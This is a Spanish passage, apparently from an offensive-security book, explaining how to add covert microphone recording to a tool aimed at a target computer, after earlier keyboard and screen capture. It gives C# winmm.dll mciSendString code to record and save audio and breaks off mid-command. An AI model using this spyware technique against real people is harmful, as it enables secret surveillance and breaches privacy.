Índice

Grabar el sonido

Hemos cubierto la captura del teclado, la de la pantalla, pero ¿qué ocurre a su alrededor? Para averiguarlo grabaremos el sonido del micrófono. Todos los dispositivos móviles disponen de uno y, si el equipo objetivo utiliza Lync, Skype u otro software de comunicación, dispondrá también de micrófono.

1. Principios básicos

Para grabar el sonido, existen multitud de funciones en .NET, pero necesitan generalmente de la instalación de un SDK. Preferimos presentarle un código que se compila en todos los tipos de equipos sin ningún añadido. Para ello, usaremos la DLL Winm.dll.

[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = 
CharSet.Ansi, SetLastError = true, ExactSpelling = true)] 
        private static extern int mciSendString(string 
lpstrCommand, string lpstrReturnString, int uReturnLength, 
int hwndCallback); 
  
        [DllImport("winmm.dll", EntryPoint = "waveOutGetVolume")] 
        public static extern void GetWaveVolume(IntPtr 
devicehandle, out int Volume);

Esta DLL es muy sencilla de utilizar para grabar el sonido.

Para grabar el sonido:

mciSendString("open new Type waveaudio Alias recsound", "", 0, 0); 
mciSendString("record recsound", "", 0, 0);

Para enviar lo capturado a un archivo y cerrarlo:

mciSendString("save recsound miarchivo.wav", "", ...